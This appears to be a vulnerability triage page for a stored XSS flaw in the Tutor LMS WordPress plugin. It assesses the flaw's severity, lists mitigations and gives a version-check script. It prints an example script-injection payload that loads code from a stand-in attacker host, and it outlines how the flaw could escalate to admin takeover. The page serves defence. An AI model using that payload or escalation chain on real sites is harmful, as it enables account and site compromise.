An instructor with a keyboard writes JavaScript into a lesson attachment title and waits for the admin to click
Tutor LMS versions up to and including 3.9.13 fail to sanitize the *Lesson Attachment title* field before rendering it back to the browser. An authenticated user with Author-level (or above) WordPress role plus Tutor Instructor capability can drop a <script> payload into the attachment metadata; when any user — typically an administrator reviewing course content — loads the lesson page, the script executes in that user's browser context. Because the CVSS vector is S:C (scope changed), a payload firing in an admin session can steal cookies, mint nonces, or trigger admin-only AJAX endpoints, escalating to full site compromise via plugin install or user creation.
Themeum labeled this MEDIUM (6.4) and that is *fair on paper*. In real enterprise usage it lands lower: the pre-condition is a trusted, provisioned instructor account — an insider who already agreed to terms of use. XSS in an LMS is not a mass-exploitable perimeter bug; it is an insider-abuse and phishing-lure amplifier. The S:C / C:L / I:L split accurately reflects that this leaks *some* data and modifies *some* state, not that it hands over the box.
4 steps from start to impact.
Attacker obtains Author + Instructor role
- Open instructor registration OR compromised instructor credentials
- Target site running Tutor LMS ≤ 3.9.13
- Enterprise LMS deployments gate instructor role behind HR/IT provisioning
- MFA on WP admin blocks credential-stuffing takeover of existing instructors
Inject payload into Lesson Attachment title
wp-admin/post.php / REST route for lessons), the attacker creates or edits a lesson and adds an attachment whose title field contains an XSS payload such as "><script src=//evil.tld/x.js></script>. The value is persisted to wp_postmeta without sanitization.- Ability to create/edit a lesson the attacker owns
- Payload survives WP's kses filter for the attachment title path
- Sites running a WAF with generic XSS signatures (Wordfence, Sucuri, Cloudflare Managed Rules) will block naive payloads
- kses filtering on some builds strips
<script>— attacker must use event handlers or SVG
Victim renders the lesson page
S:C, a payload firing in an admin session can call privileged AJAX (admin-ajax.php) endpoints.- A higher-privileged user (admin/editor) actually views the malicious lesson
- Victim browser does not block via strict CSP
- Admins rarely browse individual instructor lesson pages in production LMS setups
- A
Content-Security-Policywithscript-src 'self'neutralizes external script loads
Post-XSS abuse in admin context
wp-config.php-derived secrets via authenticated REST calls. This is where a *MEDIUM* XSS becomes a *site takeover* — but it requires the admin-view step above to actually fire.- Admin session cookie or nonce accessible from JS (no
HttpOnlyon session — WP default is HttpOnly for auth cookies) - No CSP frame-ancestors / connect-src restriction
- WordPress
wordpress_logged_in_*cookies are HttpOnly — direct theft is blocked; attacker must ride the session in-browser - Admin-plane MFA plugins (Wordfence 2FA, miniOrange) re-prompt on sensitive actions
The supporting signals.
| In-the-wild exploitation | None observed as of 2026-07-02. No GreyNoise tag, no Patchstack incident report, no vendor IR notice. |
|---|---|
| Public PoC | No public PoC repo at disclosure. Wordfence/Patchstack advisories describe the sink but do not publish a weaponized payload. |
| EPSS | Not yet scored (disclosed 2026-07-01). Historical Tutor LMS auth'd XSS CVEs sit at EPSS < 0.5% (e.g., CVE-2024-43231). |
| KEV status | Not listed. Authenticated WP plugin XSS has historically never been KEV-added. |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N — network reachable, low-priv auth needed, scope-changed, partial C/I impact. |
| Affected versions | Tutor LMS <= 3.9.13 (all versions up to and including 3.9.13). |
| Fixed version | 3.9.14 (or later) per vendor changelog — verify against Themeum release notes before rollout. |
| Exposure (Shodan/Publicwww) | ~80k–120k live WordPress installs use Tutor LMS per wordpress.org active-install counter; a subset is enterprise-facing. |
| Disclosure date | 2026-07-01 — reported via the Wordfence / Patchstack bug bounty pipeline (standard Tutor LMS disclosure channel). |
| CWE | CWE-79 — Improper Neutralization of Input During Web Page Generation (XSS). |
noisgate verdict.
Downgraded to LOW because the single most decisive factor is *authenticated Author + Instructor access is required* — the attacker must already be a provisioned staff member or have taken over an instructor account, which collapses the exploitable population to insider-abuse and social-engineering scenarios. The blast radius is a single WordPress LMS tenant, not a fleet or identity plane, so no role multiplier applies.
Why this verdict
- Requires authenticated Author + Instructor role — this is not an unauth internet-exploitable bug; the attacker is already a trusted user of the site.
- Two-victim chain — an admin or higher-priv user must actually browse the malicious lesson page for the payload to fire in a privileged session. In real enterprise LMS ops that step is rare.
- Blast radius is one WordPress site, not a fleet. Even a full site takeover via chained admin XSS compromises one tenant of one CMS instance.
- Role multiplier: the affected component is a *WordPress course plugin* — it is not an identity provider, hypervisor, CA, backup admin, kernel-mode agent, or network-edge appliance. There is no realistic high-value-role deployment where Tutor LMS itself sits on the identity or supply-chain plane. Floor is not raised.
- No KEV, no PoC, no in-the-wild as of 2026-07-02. EPSS for the historical class of Tutor LMS auth'd XSS remains sub-percentile.
Why not higher?
Not MEDIUM/HIGH because the vendor's 6.4 already priced in S:C and the two-victim chain, but on a 10k-host fleet the *authenticated-insider* precondition dominates: you would not wake up a SOC for an XSS that a hired instructor can trigger against admins who rarely visit instructor content. No exploit code, no KEV, no exposure signal to justify escalation.
Why not lower?
Not IGNORE because S:C is real — a chained admin-view can end in site takeover, and public course platforms that self-register instructors materially expand the attacker pool. Backlog patching is warranted, not deferral to end-of-life.
What to do — in priority order.
- Restrict instructor role provisioning to HR-approved accounts — On enterprise LMS deployments, close self-service instructor signup and require IT-managed provisioning. Since verdict is LOW there is no noisgate mitigation SLA — apply as part of the 365-day remediation window, prioritizing sites with open instructor registration.
- Deploy a WAF ruleset covering WP auth'd XSS (Wordfence, Patchstack mu-plugin, Cloudflare Managed Rules) — Blocks naive
<script>,onerror=, andjavascript:payloads in postmeta writes. Roll out during normal change windows within the 365-day noisgate remediation SLA. - Enforce MFA on all WP admin, editor, and instructor accounts — Kills the credential-stuffing takeover path to an existing instructor. Standard hygiene — deploy alongside patch rollout.
- Add a strict Content-Security-Policy to WP admin and course pages —
script-src 'self'with nonces blocks external payload loads and inline script execution — neutralizes the practical exfil path even if the sink is triggered.
- Network segmentation of the LMS — irrelevant; the attacker is an authenticated user reaching the site via HTTPS like everyone else.
- HttpOnly cookies alone — WP already sets
HttpOnlyon auth cookies; the attacker rides the session in-browser rather than stealing the cookie. - Disabling file uploads — the sink is the attachment *title* field, not the file content; upload blocking does not close the sink.
- Generic EDR on the web server — this is a client-side execution bug; server-side EDR sees nothing relevant.
Crowdsourced verification payload.
Run this on an auditor workstation or CI runner with curl and network reach to the target WP site. It reads the plugin version from the public readme.txt. Invoke as: ./check-tutor-lms.sh https://lms.example.com. No credentials required.
#!/usr/bin/env bash
# noisgate CVE-2026-13443 check — Tutor LMS stored XSS via Lesson Attachment
# Usage: ./check-tutor-lms.sh <site-base-url>
# Exit: 0 PATCHED, 1 VULNERABLE, 2 UNKNOWN
set -u
SITE="${1:-}"
if [ -z "$SITE" ]; then
echo "UNKNOWN: usage $0 <https://site>" >&2
exit 2
fi
FIXED="3.9.14"
README_URL="${SITE%/}/wp-content/plugins/tutor/readme.txt"
BODY="$(curl -fsSL --max-time 10 "$README_URL" 2>/dev/null || true)"
if [ -z "$BODY" ]; then
echo "UNKNOWN: cannot fetch $README_URL (plugin not present, blocked, or path hardened)"
exit 2
fi
VER="$(echo "$BODY" | grep -iE '^Stable tag:' | head -n1 | awk -F: '{print $2}' | tr -d ' \r')"
if [ -z "$VER" ]; then
echo "UNKNOWN: could not parse Stable tag from readme.txt"
exit 2
fi
# semver compare
printf '%s\n%s\n' "$FIXED" "$VER" | sort -V | head -n1 | grep -qx "$FIXED"
if [ "$?" -eq 0 ] && [ "$VER" != "$FIXED" ] || [ "$VER" = "$FIXED" ]; then
# VER >= FIXED
echo "PATCHED: Tutor LMS version $VER >= $FIXED"
exit 0
else
echo "VULNERABLE: Tutor LMS version $VER < $FIXED (CVE-2026-13443)"
exit 1
fi
If you remember one thing.
Sources
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.